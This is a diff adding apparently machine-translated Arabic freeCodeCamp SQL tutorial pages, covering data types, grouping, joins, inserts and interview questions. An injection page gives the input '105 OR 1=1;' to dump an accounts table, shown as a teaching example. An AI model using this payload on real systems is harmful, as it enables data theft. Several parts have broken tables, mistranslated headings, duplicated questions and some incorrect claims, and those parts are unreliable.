+ |         7 | Edgar Frank "Ted" Codd | Computer Science | 555-555-5557       |              97117 | 
+ |         8 | Donald D. Chamberlin   | Computer Science | 555-555-5558       |              97118 | 
+ +-----------+------------------------+------------------+--------------------+--------------------+ 
+` 
+
+### استنتاج
+
+قيود المفتاح الخارجي هي أداة تكامل بيانات رائعة. خذ الوقت الكافي لتعلمها جيداً.
+
+كما هو الحال مع كل هذه الأشياء SQL هناك أكثر من ذلك بكثير من ما هو موجود في هذا الدليل التمهيدي.
+
+آمل أن يمنحك هذا على الأقل ما يكفي للبدء.
+
+يرجى الاطلاع على دليل مدير قاعدة البيانات الخاص بك والمتعة محاولة خيارات مختلفة بنفسك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-general-data-types/index.md b/client/src/guide/arabic/sql/sql-general-data-types/index.md
new file mode 100644
index 0000000000..c09bc5e797
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-general-data-types/index.md
@@ -0,0 +1,36 @@
+---
+title: SQL General Data Types
+localeTitle: أنواع البيانات العامة SQL
+---
+## أنواع البيانات العامة SQL
+
+# أنواع بيانات SQL
+
+كل عمود في جدول قاعدة البيانات مطلوب أن يكون له اسم ونوع بيانات.
+
+يجب على مطور SQL تحديد نوع البيانات التي سيتم تخزينها داخل كل عمود عند إنشاء جدول. يعتبر نوع البيانات دليلاً لـ SQL لفهم نوع البيانات المتوقع داخل كل عمود ، كما أنه يحدد كيفية تفاعل SQL مع البيانات المخزنة.
+
+# MySQL Data Types
+
+تتكون أنواع البيانات العامة لـ SQL مما يلي:
+
+1.  قيمة تستند إلى نص و / أو عددي ، يشار إليها غالبًا باسم STRING
+2.  قيمة رقمية فقط ، يشار إليها غالبًا باسم INTEGER
+3.  قيمة تستند إلى التقويم و / أو الساعة ، وغالبًا ما يتم التعبير عنها إلى DATE أو TIME
+4.  قيمة خاصة بقاعدة البيانات مثل علامة منطقية (خيارين) ، صفيف يقوم بتخزين قيم متعددة في نقطة بيانات واحدة
+
+## أنواع بيانات النص:
+
+| نوع البيانات | الوصف | | ------------- |: -------------: | | CHAR (الحجم) | تحمل سلسلة طول ثابت (يمكن أن تحتوي على أحرف وأرقام وأحرف خاصة). يتم تحديد الحجم الثابت بين قوسين. يمكن تخزين ما يصل إلى 255 حرفًا | VARCHAR (حجم) | تحمل سلسلة طول متغير (يمكن أن تحتوي على أحرف وأرقام وأحرف خاصة). الحد الأقصى للحجم محدد بين قوسين. يمكن تخزين ما يصل إلى 255 حرفًا. ملاحظة: إذا قمت بوضع قيمة أكبر من 255 ، فسيتم تحويلها إلى نوع TEXT | TINYTEXT | يحمل سلسلة بحد أقصى 255 حرفًا | النص | يحمل سلسلة بحد أقصى 65.535 حرفًا | BLOB | ل BLOBs (Binary Large OBjects). يحمل ما يصل إلى 65535 بايت من البيانات | | MEDIUMTEXT | يحمل سلسلة بحد أقصى للطول يبلغ 16،777،215 حرفًا | MEDIUMBLOB | ل BLOBs (Binary Large OBjects). يحمل ما يصل إلى 16777715 بايت من البيانات | | LONGTEXT | تحمل سلسلة بحد أقصى للطول 4،294،967،295 حرفًا | LONGBLOB | ل BLOBs (Binary Large OBjects). يحمل ما يصل إلى 4،294،967،295 بايت من البيانات | | التعداد (س ، ص ، ض ، وما إلى ذلك) | تتيح لك إدخال قائمة بالقيم المحتملة. يمكنك سرد ما يصل إلى 65535 قيمًا في قائمة ENUM. إذا تم إدخال قيمة غير موجودة في القائمة ، فسيتم إدراج قيمة فارغة. ملاحظة: يتم فرز القيم بترتيب إدخالها. يمكنك إدخال القيم الممكنة بهذا التنسيق: ENUM ('X'، 'Y'، 'Z') | | SET | مشابه لـ ENUM فيما عدا أن SET قد يحتوي على ما يصل إلى 64 عنصرًا ويمكن تخزين أكثر من خيار واحد
+
+# أنواع بيانات العدد:
+
+| نوع البيانات | الوصف | | ------------- |: -------------: | | TINYINT (حجم) | -128 إلى 127 عادي. من 0 إلى 255 غير معلن _. يمكن تحديد الحد الأقصى لعدد الأرقام بين قوسين | SMALLINT (الحجم) | -32768 إلى 32767 طبيعي. 0 إلى 65535 غير معلن_ . يمكن تحديد الحد الأقصى لعدد الأرقام بين قوسين | MEDIUMINT (الحجم) | -8388608 إلى 8388607 طبيعي. من 0 إلى 16777215 غير معلن _. يمكن تحديد الحد الأقصى لعدد الأرقام بين قوسين | الباحث (الحجم) | -2147483648 إلى 2147483647 عادي. من 0 إلى 4294967295 غير معلن_ . يمكن تحديد الحد الأقصى لعدد الأرقام بين قوسين | BIGINT (الحجم) | -9223372036854775808 إلى 9223372036854775807 عادي. 0 إلى 18446744073709551615 غير مصنفة \*. يمكن تحديد الحد الأقصى لعدد الأرقام بين قوسين | تعويم (حجم ، د) | رقم صغير مع علامة عشرية عائمة. قد يتم تحديد الحد الأقصى لعدد الأرقام في معلمة الحجم. يتم تحديد الحد الأقصى لعدد الأرقام إلى يمين النقطة العشرية في المعلمة d | | DOUBLE (الحجم ، د) | عدد كبير بنقطة عشرية عائمة. قد يتم تحديد الحد الأقصى لعدد الأرقام في معلمة الحجم. يتم تحديد الحد الأقصى لعدد الأرقام إلى يمين النقطة العشرية في المعلمة d | | DECIMAL (حجم ، د) | A DOUBLE مخزنة كسلسلة ، مما يسمح بنقطة عشرية ثابتة. قد يتم تحديد الحد الأقصى لعدد الأرقام في معلمة الحجم. يتم تحديد الحد الأقصى لعدد الأرقام إلى يمين النقطة العشرية في المعلمة d |
+
+# أنواع بيانات التاريخ:
+
+| نوع البيانات | الوصف | | ------------- |: -------------: | | التاريخ () | موعد. التنسيق: YYYY-MM-DD ملاحظة: النطاق المدعم هو من "1000-01-01" إلى "9999-12-31" | | DATETIME () | تركيبة التاريخ والوقت. التنسيق: YYYY-MM-DD HH: MI: SS ملاحظة: النطاق المدعوم هو من "1000-01-01 00:00:00" إلى "9999-12-31 23:59:59" | | TIMESTAMP () | طابع زمني. يتم تخزين قيم TIMESTAMP كعدد الثواني منذ حقبة Unix ('1970-01-01 00:00:00' UTC). التنسيق: YYYY-MM-DD HH: MI: SS ملاحظة: النطاق المدعوم هو من '1970-01-01 00:00:01' UTC to '2038-01-09 03:14:07' UTC | | الوقت () | وقت. التنسيق: HH: MI: SS ملاحظة: النطاق المدعوم هو من '-838: 59: 59' إلى '838: 59: 59' | | سنة () | سنة بتنسيق مكون من رقمين أو أربعة أرقام. ملاحظة: القيم المسموح بها بصيغة من أربعة أرقام: من 1901 إلى 2155. القيم مسموح بها في نسق مكون من رقمين: من 70 إلى 69 ، تمثل السنوات من 1970 إلى 2069 |
+
+#### معلومات اكثر:
+
+يمكن العثور على مزيد من المعلومات حول أنواع البيانات المحددة في SQL في قسم " [أنواع بيانات SQL"](https://guide.freecodecamp.org/sql/sql-data-types/) من freeCodeCamp.
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-group-by-statement/index.md b/client/src/guide/arabic/sql/sql-group-by-statement/index.md
new file mode 100644
index 0000000000..d282ed231e
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-group-by-statement/index.md
@@ -0,0 +1,43 @@
+---
+title: SQL Group By Statement
+localeTitle: مجموعة SQL بيان
+---
+## مجموعة SQL بواسطة Statemet
+
+### مثال على الاستخدام
+
+تقدم لنا GROUP BY طريقة لدمج الصفوف والبيانات المجمّعة.
+
+البيانات المستخدمة مأخوذة من بيانات مساهمات الحملة التي نستخدمها في بعض هذه الأدلة.
+
+يرد بيان SQL التالي على السؤال التالي: "أي المرشحين تلقوا أكبر مساهمات إجمالية في عام 2016 ولكن فقط أولئك الذين كان لديهم أكثر من 20 مليون دولار أمريكي؟"
+
+إن ترتيب مجموعة البيانات هذه في ترتيب تنازلي (DESC) يضع المرشحين الذين لديهم أكبر مساهمات إجمالية في أعلى القائمة.
+
+ `SELECT Candidate, Election_year, sum(Total_$), count(*) 
+ FROM combined_party_data 
+ WHERE Election_year = 2016 
+ GROUP BY Candidate, Election_year -- this tells the DBMS to summarize by these two columns 
+ HAVING sum(Total_$) > 20000000  -- limits the rows presented from the summary of money ($20 Million USD) 
+ ORDER BY sum(Total_$) DESC; -- orders the presented rows with the largest ones first. 
+` 
+
+ `+--------------------------------------------------+---------------+-------------------+----------+ 
+ | Candidate                                        | Election_year | sum(Total_$)      | count(*) | 
+ +--------------------------------------------------+---------------+-------------------+----------+ 
+ | CLINTON, HILLARY RODHAM & KAINE, TIMOTHY M (TIM) |          2016 | 568135094.4400003 |      126 | 
+ | TRUMP, DONALD J & PENCE, MICHAEL R (MIKE)        |          2016 | 366853142.7899999 |      114 | 
+ | SANDERS, BERNARD (BERNIE)                        |          2016 |      258562022.17 |      122 | 
+ | CRUZ, RAFAEL EDWARD (TED)                        |          2016 | 93430700.29000005 |      104 | 
+ | CARSON, BENJAMIN S (BEN)                         |          2016 | 62202411.12999996 |       93 | 
+ | RUBIO, MARCO ANTONIO                             |          2016 |        44384313.9 |      106 | 
+ | BUSH, JOHN ELLIS (JEB)                           |          2016 |       34606731.78 |       97 | 
+ +--------------------------------------------------+---------------+-------------------+----------+ 
+ 7 rows in set (0.01 sec) 
+` 
+
+كما هو الحال مع كل هذه الأشياء SQL هناك أكثر من ذلك بكثير من ما هو موجود في هذا الدليل التمهيدي.
+
+آمل أن يمنحك هذا على الأقل ما يكفي للبدء.
+
+يرجى الاطلاع على دليل مدير قاعدة البيانات الخاص بك والمتعة محاولة خيارات مختلفة بنفسك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-having-clause/index.md b/client/src/guide/arabic/sql/sql-having-clause/index.md
new file mode 100644
index 0000000000..c87dff5686
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-having-clause/index.md
@@ -0,0 +1,45 @@
+---
+title: SQL Having Clause
+localeTitle: SQL وجود جملة
+---
+## SQL وجود جملة
+
+يوفر HAVING للمبرمج DBA أو SQL طريقة لتصفية البيانات المجمّعة بواسطة جملة GROUP BY بحيث يحصل المستخدم على مجموعة محدودة من السجلات لعرضها.
+
+### مثال على الاستخدام
+
+تشبه جملة HAVING جملة WHERE ، حيث تعمل على البيانات المجمعة. في هذه الحالة ، سوف يرى المستخدم فقط أكبر المبالغ.
+
+هذه البيانات مأخوذة من بيانات مساهمات الحملة التي نستخدمها في بعض هذه الأدلة.
+
+يجيب بيان SQL هذا على السؤال التالي: "أي المرشحين تلقوا أكبر مساهمات إجمالية في عام 2016 ولكن فقط أولئك الذين كان لديهم أكثر من 8 ملايين دولار أمريكي؟"
+
+إن ترتيب مجموعة البيانات هذه في ترتيب تنازلي (DESC) يضع المرشحين الذين لديهم أكبر مساهمات إجمالية في أعلى القائمة.
+
+ `SELECT Candidate, Election_year, sum(Total_$), count(*) 
+ FROM combined_party_data 
+ WHERE Election_year = 2016 
+ GROUP BY Candidate, Election_year -- this tells the DBMS to summarize by these two columns 
+ HAVING sum(Total_$) > 20000000  -- limits the rows presented from the summary of money ($20 Million USD) 
+ ORDER BY sum(Total_$) DESC; -- orders the presented rows with the largest ones first. 
+` 
+
+ `+--------------------------------------------------+---------------+-------------------+----------+ 
+ | Candidate                                        | Election_year | sum(Total_$)      | count(*) | 
+ +--------------------------------------------------+---------------+-------------------+----------+ 
+ | CLINTON, HILLARY RODHAM & KAINE, TIMOTHY M (TIM) |          2016 | 568135094.4400003 |      126 | 
+ | TRUMP, DONALD J & PENCE, MICHAEL R (MIKE)        |          2016 | 366853142.7899999 |      114 | 
+ | SANDERS, BERNARD (BERNIE)                        |          2016 |      258562022.17 |      122 | 
+ | CRUZ, RAFAEL EDWARD (TED)                        |          2016 | 93430700.29000005 |      104 | 
+ | CARSON, BENJAMIN S (BEN)                         |          2016 | 62202411.12999996 |       93 | 
+ | RUBIO, MARCO ANTONIO                             |          2016 |        44384313.9 |      106 | 
+ | BUSH, JOHN ELLIS (JEB)                           |          2016 |       34606731.78 |       97 | 
+ +--------------------------------------------------+---------------+-------------------+----------+ 
+ 7 rows in set (0.01 sec) 
+` 
+
+كما هو الحال مع كل هذه الأشياء SQL هناك أكثر من ذلك بكثير من ما هو موجود في هذا الدليل التمهيدي.
+
+آمل أن يمنحك هذا على الأقل ما يكفي للبدء.
+
+يرجى الاطلاع على دليل مدير قاعدة البيانات الخاص بك والمتعة محاولة خيارات مختلفة بنفسك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-in-operator/index.md b/client/src/guide/arabic/sql/sql-in-operator/index.md
new file mode 100644
index 0000000000..6735f0cc62
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-in-operator/index.md
@@ -0,0 +1,48 @@
+---
+title: SQL In Operator
+localeTitle: مزود في المشغل
+---
+## مزود في المشغل
+
+## في تعريف المشغل
+
+يتم استخدام عامل التشغيل `IN` في `WHERE` أو `HAVING` (كجزء من `GROUP BY` ) لتحديد الصفوف المحددة إلى عناصر "IN" قائمة.
+
+في ما يلي قائمة الطلاب الكاملة الحالية لمقارنة مجموعة نتائج `WHERE` :
+
+ `select studentID, FullName, sat_score, rcd_updated from student; 
+` 
+
+ `+-----------+------------------------+-----------+---------------------+ 
+ | studentID | FullName               | sat_score | rcd_updated         | 
+ +-----------+------------------------+-----------+---------------------+ 
+ |         1 | Monique Davis          |       400 | 2017-08-16 15:34:50 | 
+ |         2 | Teri Gutierrez         |       800 | 2017-08-16 15:34:50 | 
+ |         3 | Spencer Pautier        |      1000 | 2017-08-16 15:34:50 | 
+ |         4 | Louis Ramsey           |      1200 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene           |      1200 | 2017-08-16 15:34:50 | 
+ |         6 | Sophie Freeman         |      1200 | 2017-08-16 15:34:50 | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | 2017-08-16 15:35:33 | 
+ |         8 | Donald D. Chamberlin   |      2400 | 2017-08-16 15:35:33 | 
+ |         9 | Raymond F. Boyce       |      2400 | 2017-08-16 15:35:33 | 
+ +-----------+------------------------+-----------+---------------------+ 
+ 9 rows in set (0.00 sec) 
+` 
+
+سيتم عرض الصفوف التي لها نقاط SAT في هذه القائمة (1000 ، 2400):
+
+ `select studentID, FullName, sat_score, rcd_updated 
+ from student 
+ where sat_score in (1000, 2400); 
+` 
+
+ `+-----------+------------------------+-----------+---------------------+ 
+ | studentID | FullName               | sat_score | rcd_updated         | 
+ +-----------+------------------------+-----------+---------------------+ 
+ |         3 | Spencer Pautier        |      1000 | 2017-08-16 15:34:50 | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | 2017-08-16 15:35:33 | 
+ |         8 | Donald D. Chamberlin   |      2400 | 2017-08-16 15:35:33 | 
+ |         9 | Raymond F. Boyce       |      2400 | 2017-08-16 15:35:33 | 
+ +-----------+------------------------+-----------+---------------------+ 
+ 4 rows in set (0.00 sec) 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-injection/index.md b/client/src/guide/arabic/sql/sql-injection/index.md
new file mode 100644
index 0000000000..c87ff20efb
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-injection/index.md
@@ -0,0 +1,21 @@
+---
+title: SQL Injection
+localeTitle: حقن SQL
+---
+## حقن SQL
+
+حقن SQL هو أسلوب ضار يهدف إلى تسوية قواعد البيانات أو إتلافها. إنها واحدة من أكثر تقنيات قرصنة الإنترنت شيوعًا.
+
+يتم تنفيذ حقن SQL عن طريق وضع تعليمات برمجية ضارة في عبارات SQL عن طريق إدخال.
+
+المثال التالي هو أحد مقتطفات التعليمات البرمجية التي سيتم استرداد مستخدم من قاعدة بيانات تستند إلى `AccountId` .
+
+ `passedInAccountId = getRequestString("AccountId"); 
+ sql = "select * from Accounts where AccountId = " + passedInAccountId; 
+` 
+
+يمكن استخدام حقن SQL لخرق هذا الرمز عن طريق حقن `1=1;` بيان `AccountId` .
+
+`https://www.foo.com/get-user?AccountId="105 OR 1=1;"`
+
+`1=1` سيقيم دائمًا إلى `TRUE` . سيؤدي ذلك إلى إخراج التعليمة البرمجية التي تم تنفيذها كل جدول الحسابات.
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-inner-join-keyword/index.md b/client/src/guide/arabic/sql/sql-inner-join-keyword/index.md
new file mode 100644
index 0000000000..c5ae64218f
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-inner-join-keyword/index.md
@@ -0,0 +1,50 @@
+---
+title: SQL Inner Join Keyword
+localeTitle: SQL الداخلية الانضمام إلى الكلمات الرئيسية
+---
+## SQL الداخلية الانضمام إلى الكلمات الرئيسية
+
+### مثال على الاستخدام
+
+لهذا الدليل سنناقش انضمام SQL (INNER)
+
+### انضم (مثل الانضمام إلى Inner)
+
+سيكون جدول الطالب في جملة FROM بحيث يكون جدول بدء أو يسار.
+
+سننضم إلى جدول جهات اتصال الطلاب أو جدول RIGHT. سترى أن جميع الطلاب يظهرون أن ALSO في جدول الاتصال. كما هو موضح في الجداول أدناه ، فإن studentID 9 موجود في جدول الطالب ولكن ليس في جدول جهات الاتصال ، لذا لن يظهر في أحد الروابط.
+
+بيان SQL
+
+ ``SELECT a.studentID, a.FullName, a.programOfStudy, 
+ b.`student-phone-cell`, b.`student-US-zipcode` 
+ FROM student AS a 
+ INNER JOIN `student-contact-info` AS b ON a.studentID = b.studentID; 
+`` 
+
+"انضم" البيانات \`\` \`النص + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- + | studentID | FullName | programOfStudy | خلية هاتف الطالب student-US-zipcode | + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- + | 1 | مونيك ديفيز الأدب | 555-555-5551 | 97111 | | 2 | تيري جوتيريز | برمجة | 555-555-5552 | 97112 | | 3 | سبنسر باوتير | برمجة | 555-555-5553 | 97113 | | 4 | لويس رمزي برمجة | 555-555-5554 | 97114 | | 5 | ألفين غرين | برمجة | 555-555-5555 | 97115 | | 6 | صوفي فريمان برمجة | 555-555-5556 | 97116 | | 7 | إدغار فرانك "تيد" كود علوم الكمبيوتر | 555-555-5557 | 97117 | | 8 | دونالد د. شامبرلين علوم الكمبيوتر | 555-555-5558 | 97118 | + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- +
+
+ `### Complete table listings for reference 
+ 
+ Student table SQL 
+` 
+
+مزود SELECT a.studentID، a.FullName، sat\_score، a.programOfStudy، schoolEmailAdr من الطالب AS
+
+ `student or LEFT table 
+` 
+
+نص + ----------- + ------------------------ + ----------- + ------------------ + ------------------------ + | studentID | FullName | sat\_score | programOfStudy | schoolEmailAdr | + ----------- + ------------------------ + ----------- + ------------------ + ------------------------ + | 1 | مونيك ديفيز 400 | الأدب | Monique@someSchool.edu | | 2 | تيري جوتيريز | 800 | برمجة | Teri@someSchool.edu | | 3 | سبنسر باوتير | 1000 | برمجة | Spencer@someSchool.edu | | 4 | لويس رمزي 1200 | برمجة | Louis@someSchool.edu | | 5 | ألفين غرين | 1200 | برمجة | Alvin@someSchool.edu | | 6 | صوفي فريمان 1200 | برمجة | Sophie@someSchool.edu | | 7 | إدغار فرانك "تيد" كود 2400 | علوم الكمبيوتر | Edgar@someSchool.edu | | 8 | دونالد د. شامبرلين 2400 | علوم الكمبيوتر | Donald@someSchool.edu | | 9 | ريمون ف. بويس 2400 | علوم الكمبيوتر | Raymond@someSchool.edu | + ----------- + ------------------------ + ----------- + ------------------ + ------------------------ + 9 صفوف في مجموعة (0.00 ثانية)
+
+ ``SELECT * FROM `student-contact-info` AS b; 
+`` 
+
+جدول الاتصال الطالب أو الجدول الأيمن `text +-----------+----------------------------------+--------------------+--------------------+ | studentID | studentEmailAddr | student-phone-cell | student-US-zipcode | +-----------+----------------------------------+--------------------+--------------------+ | 1 | Monique.Davis@freeCodeCamp.org | 555-555-5551 | 97111 | | 2 | Teri.Gutierrez@freeCodeCamp.org | 555-555-5552 | 97112 | | 3 | Spencer.Pautier@freeCodeCamp.org | 555-555-5553 | 97113 | | 4 | Louis.Ramsey@freeCodeCamp.org | 555-555-5554 | 97114 | | 5 | Alvin.Green@freeCodeCamp.org | 555-555-5555 | 97115 | | 6 | Sophie.Freeman@freeCodeCamp.org | 555-555-5556 | 97116 | | 7 | Maximo.Smith@freeCodeCamp.org | 555-555-5557 | 97117 | | 8 | Michael.Roach@freeCodeCamp.ort | 555-555-5558 | 97118 | +-----------+----------------------------------+--------------------+--------------------+ 8 rows in set (0.00 sec)`
+
+### استنتاج
+
+كما هو الحال مع كل هذه الأشياء SQL هناك أكثر من ذلك بكثير من ما هو موجود في هذا الدليل التمهيدي.
+
+آمل أن يمنحك هذا على الأقل ما يكفي للبدء.
+
+يرجى الاطلاع على دليل مدير قاعدة البيانات الخاص بك والمتعة محاولة خيارات مختلفة بنفسك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-insert-into-select-statement/index.md b/client/src/guide/arabic/sql/sql-insert-into-select-statement/index.md
new file mode 100644
index 0000000000..a233d43ca3
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-insert-into-select-statement/index.md
@@ -0,0 +1,23 @@
+---
+title: SQL Insert into Select Statement
+localeTitle: إدراج SQL في تحديد البيان
+---
+## إدراج SQL في تحديد البيان
+
+يمكنك إدراج سجلات في جدول باستخدام البيانات المخزنة بالفعل في قاعدة البيانات. هذه ليست سوى نسخة من البيانات ولا تؤثر على جدول المنشأ.
+
+يجمع `INSERT INTO SELECT` بين `INSERT INTO` و `SELECT` ، ويمكنك استخدام أي شروط تريدها. الصيغة هي:
+
+ `INSERT INTO table2 (column1, column2, column3, ...) 
+ SELECT column1, column2, column3, ... 
+ FROM table1 
+ WHERE condition; 
+` 
+
+هنا مثال يحتذى به في الجدول الشخص كل الطلاب الذكور من الجدول الطلاب.
+
+ `INSERT INTO Person(Id, Name, DateOfBirth, Gender) 
+ SELECT Id, Name, DateOfBirth, Gender 
+ FROM Students 
+ WHERE Gender = 'M' 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-insert-into-statement/index.md b/client/src/guide/arabic/sql/sql-insert-into-statement/index.md
new file mode 100644
index 0000000000..87fd69b697
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-insert-into-statement/index.md
@@ -0,0 +1,40 @@
+---
+title: SQL Insert into Statement
+localeTitle: إدراج SQL في بيان
+---
+## إدراج SQL في بيان
+
+لإدراج سجل في جدول ، استخدم بيان `INSERT INTO` .
+
+يمكنك القيام بذلك بطريقتين ، إذا أردت إدراج قيم في بعض الأعمدة فقط ، فيجب عليك إدراج أسمائها بما في ذلك جميع الأعمدة الإلزامية. الصيغة هي:
+
+ `INSERT INTO table_name (column1, column2, column3, ...) 
+ VALUES (value1, value2, value3, ...); 
+` 
+
+والطريقة الأخرى هي إدراج قيم لجميع الأعمدة في الجدول ، وليس من الضروري تحديد أسماء الأعمدة. الصيغة هي:
+
+ `INSERT INTO table_name 
+ VALUES (value1, value2, value3, ...); 
+` 
+
+في ما يلي مثال على إدراج سجل في الجدول الشخص بطريقتين:
+
+ `INSERT INTO Person 
+ VALUES (1, 'John Lennon', '1940-10-09', 'M'); 
+` 
+
+و
+
+ `INSERT INTO Person(Id, Name, DateOfBirth, Gender) 
+ VALUES (1, 'John Lennon', '1940-10-09', 'M'); 
+` 
+
+تدعم بعض إصدارات SQL (على سبيل المثال ، MySQL) إدراج صفوف متعددة في وقت واحد. فمثلا:
+
+ `INSERT INTO Person(Id, Name, DateOfBirth, Gender) 
+ VALUES (1, 'John Lennon', '1940-10-09', 'M'), (2, 'Paul McCartney', '1942-06-18', 'M'), 
+ (3, 'George Harrison', '1943-02-25', 'M'), (4, 'Ringo Starr', '1940-07-07', 'M') 
+` 
+
+لاحظ أن الاستعلام الأصلي بأكمله لا يزال قائماً - نحن ببساطة نضيف على صفوف البيانات المشفرة بواسطة paranthesis ويفصل بينها بفواصل.
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-insert-query/index.md b/client/src/guide/arabic/sql/sql-insert-query/index.md
new file mode 100644
index 0000000000..bc80918647
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-insert-query/index.md
@@ -0,0 +1,29 @@
+---
+title: SQL Insert Query
+localeTitle: SQL إدراج الاستعلام
+---
+## SQL إدراج الاستعلام
+
+إدراج الاستعلامات هي طريقة لإدراج البيانات في جدول. لنفترض أننا أنشأنا جدولًا باستخدام
+
+`CREATE TABLE example_table ( name varchar(255), age int)`
+
+**example\_table**
+
+| الاسم | العمر | --- | --- |
+
+الآن لإضافة بعض البيانات إلى هذا الجدول ، سنستخدم **INSERT** بالطريقة التالية:
+
+`INSERT INTO example_table (column1,column2) VALUES ("Andrew",23)`
+
+**example\_table**
+
+| الاسم | العمر | --- | --- | | أندرو | 23 |
+
+حتى ما يلي سيعمل ، ولكن دائمًا ما يكون من الممارسات الجيدة تحديد البيانات التي يجري فيها العمود.
+
+`INSERT INTO table_name VALUES ("John", 28)`
+
+**example\_table**
+
+| الاسم | العمر | --- | --- | | أندرو | 23 | | جون 28 |
\ No newline at end of file
diff --git a/client/src/guide/arabic/sql/sql-interview-questions/index.md b/client/src/guide/arabic/sql/sql-interview-questions/index.md
new file mode 100644
index 0000000000..4692ee49ca
--- /dev/null
+++ b/client/src/guide/arabic/sql/sql-interview-questions/index.md
@@ -0,0 +1,121 @@
+---
+title: SQL Interview Questions
+localeTitle: أسئلة مقابلة SQL
+---
+## أسئلة مقابلة SQL
+
+### ما هو صلة داخلية في SQL؟
+
+هذا هو نوع الارتباط الافتراضي إذا لم يتم تحديد صلة. تقوم بإرجاع كافة الصفوف التي توجد تطابق واحد على الأقل في كلا الجدولين.
+
+ `SELECT * FROM A x JOIN B y ON y.aId = x.Id 
+` 
+
+### ما هو انضمام اليسار في SQL؟
+
+يقوم الرابط الأيسر بإرجاع جميع الصفوف من الجدول الأيسر ، والصفوف المتطابقة من الجدول الصحيح. سيتم إرجاع الصفوف في الجدول الأيسر حتى في حالة عدم وجود تطابق في الجدول الصحيح. الصفوف من الجدول الأيسر بدون تطابق في الجدول الصحيح ستكون `null` لقيم الجدول الصحيح.
+
+ `SELECT * FROM A x LEFT JOIN B y ON y.aId = x.Id 
+` 
+
+### ما هو الانضمام الصحيح في SQL؟
+
+يقوم الربط الأيمن بإرجاع جميع الصفوف من الجدول الصحيح والصفوف المتطابقة من الجدول الأيسر. مقابل صلة اليسار ، سيؤدي هذا إلى إرجاع كافة الصفوف من الجدول الصحيح حتى عندما لا يوجد تطابق في الجدول الأيسر. الصفوف في الجدول الأيمن التي ليس لها أي تطابق في الجدول الأيسر سيكون لها قيم `null` الجدول الأيسر.
+
+ `SELECT * FROM A x RIGHT JOIN B y ON y.aId = x.Id 
+` 
+
+### ما هو الانضمام الكامل في SQL؟
+
+إرجاع صلة كاملة كافة الصفوف التي توجد تطابق في أي من الجداول. لذلك إذا كانت هناك صفوف في الجدول الأيسر لا تحتوي على تطابقات في الجدول الصحيح ، فسيتم تضمينها. وكذلك إذا كانت هناك صفوف في الجدول الأيمن لا تحتوي على تطابقات في الجدول الأيسر ، فسيتم تضمينها.
+
+ `SELECT Customers.CustomerName, Orders.OrderID 
+ FROM Customers 
+ FULL OUTER JOIN Orders 
+ ON Customers.CustomerID=Orders.CustomerID 
+ ORDER BY Customers.CustomerName 
+` 
+
+### ما هي نتيجة الأمر التالي؟
+
+\`\` \` إسقاط عرض view\_name
+
+ `Here it'll be an error because we can't perform a DML operation on a view. 
+ 
+ ### Can we perform a rollback after using ALTER command? 
+ No, because ALTER is a DDL command and Oracle server performs an automatic COMMIT when the DDL statements are executed. 
+ 
+ 
+ ### Which is the only constraint that enforces rules at column level? 
+ NOT NULL is the only constraint that works at the column level. 
+ 
+ 
+ ### What are the pseudocolumns in SQL? Give some examples? 
+ A pseudocolumn is a function which returns a system generated value. The reason it is known as so because a pseudocolumn is an Oracle assigned value used in the same context as an Oracle database column but not stored on disk. 
+` 
+
+بعض الأمثلة على ذلك هي: ROWNUM، ROWID، USER، CURRVAL، NEXTVAL etc. \`\` \`
+
+### إنشاء مستخدم my723acct بكلمة مرور kmd26pt. استخدم _بيانات_ المستخدم _و مساحات بيانات البيانات المؤقتة التي توفرها PO8 ووفر لهذا المستخدم 10M مساحة تخزين في_ بيانات _المستخدم_ و 5 M من مساحة التخزين في temporary\_data.
+
+`sql CREATE USER my723acct IDENTIFIED BY kmd26pt DEFAULT TABLESPACE user_data TEMPORARY TABLESPACE temporary_data QUOTA 10M on user_data QUOTA 5M on temporary_data`
+
+### إنشاء دور دور _الجداول_ and\_views.
+
+`sql CREATE ROLE role_tables_and_views`
+
+### منح لدور السؤال السابق امتيازات الاتصال بقاعدة البيانات والامتيازات لإنشاء الجداول وطرق العرض.
+
+الامتياز للاتصال بقاعدة البيانات هو CREATE SESSION امتياز إنشاء الجدول هو CREATE TABLE امتياز إنشاء العرض هو CREATE VIEW `sql GRANT Create session, create table, create view TO role_tables_and_views`
+
+### منح الدور السابق في السؤال للمستخدمين anny و rita
+
+`sql GRANT role_tables_and_views TO anny, rita`
+
+### إنشاء مستخدم my723acct بكلمة مرور kmd26pt. استخدم _بيانات_ المستخدم _و مساحات بيانات البيانات المؤقتة التي توفرها PO8 ووفر لهذا المستخدم 10M مساحة تخزين في_ بيانات _المستخدم_ و 5 M من مساحة التخزين في temporary\_data.
+
+`sql CREATE USER my723acct IDENTIFIED BY kmd26pt DEFAULT TABLESPACE user_data TEMPORARY TABLESPACE temporary_data QUOTA 10M on user_data QUOTA 5M on temporary_data`
+
+### إنشاء دور دور _الجداول_ and\_views.
+
+`sql CREATE ROLE role_tables_and_views`
+
+### منح لدور السؤال السابق امتيازات الاتصال بقاعدة البيانات والامتيازات لإنشاء الجداول وطرق العرض.
+
